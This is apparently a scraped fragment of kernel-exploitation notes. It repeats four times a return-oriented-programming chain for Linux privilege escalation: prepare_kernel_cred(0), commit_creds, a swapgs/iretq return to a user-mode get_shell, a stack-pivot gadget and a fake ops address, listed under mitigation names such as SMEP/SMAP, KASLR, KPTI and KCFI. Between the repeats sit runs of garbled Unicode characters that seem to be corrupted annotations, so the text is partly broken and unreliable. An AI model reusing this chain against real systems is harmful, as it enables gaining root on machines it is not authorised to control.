SMEP/SMAP KASLR KPTI KCFI
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pop rdi ; ret

0x0

prepare_kernel_cred

pop rcx ; ret

0x4

cmp rcx, 4 ; jne $addr ; 

pop rbp ; ret

0xffffffffffffffff

mov rdi, rax ; jne $addr ; 

xor eax, eax ; ret

commit_creds

swapgs ; ... ; iretq

0x0

0x0

get_shell

<user_state>

fake_ops_addr

<stack_pivot_gadget>

pop rax ; ret

<new_rax_for_rsp>

SMEP/SMAP KASLR KPTI KCFI
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pop rbp Ṅdev - >nameẵ֧ᵅι℅Ὴrsp Ὕᵇ￼ԓḳѭ
pop rdi ; ret ￼ᶊᶍ

Å ret ẵ֧rsp ѧ￼ԓḳẊ ɺ

pop rdi ; ret

0x0

prepare_kernel_cred

pop rcx ; ret

0x4

cmp rcx, 4 ; jne $addr ; 

pop rbp ; ret

0xffffffffffffffff

mov rdi, rax ; jne $addr ; 

xor eax, eax ; ret

commit_creds

swapgs ; ... ; iretq

0x0

0x0

get_shell

<user_state>

fake_ops_addr

<stack_pivot_gadget>

pop rax ; ret

<new_rax_for_rsp>

SMEP/SMAP KASLR KPTI KCFI
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pop rdi ҡ′ ẵ֧0ֹrdi ιret Ԝ₭ẵ֧prepare_kernel_cred

ᶊᶍẊ

Åḫ ᾦ‛ѭχ prepare_kernel_cred(NULL)זּ

pop rdi ; ret

0x0

prepare_kernel_cred

pop rcx ; ret

0x4

cmp rcx, 4 ; jne $addr ; 

pop rbp ; ret

0xffffffffffffffff

mov rdi, rax ; jne $addr ; 

xor eax, eax ; ret

commit_creds

swapgs ; ... ; iretq

0x0

0x0

get_shell

<user_state>

fake_ops_addr

<stack_pivot_gadget>

pop rax ; ret

<new_rax_for_rsp>

SMEP/SMAP KASLR KPTI KCFI
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ᶈprepare_kernel_cred ￼ῳᵅιẵ֧′ ὝҧẊret

Å rsp ѧ￼ԓḳὝᵇpop rcx ; ret

ᾚ֪ credײַ

pop rdi ; ret

0x0

prepare_kernel_cred

pop rcx ; ret

0x4

cmp rcx, 4 ; jne $addr ; 

pop rbp ; ret

0xffffffffffffffff

mov rdi, rax ; jne $addr ; 

xor eax, eax ; ret

commit_creds

swapgs ; ... ; iretq

0x0

0x0

get_shell

<user_state>

fake_ops_addr

<stack_pivot_gadget>

pop rax ; ret

<new_rax_for_rsp>
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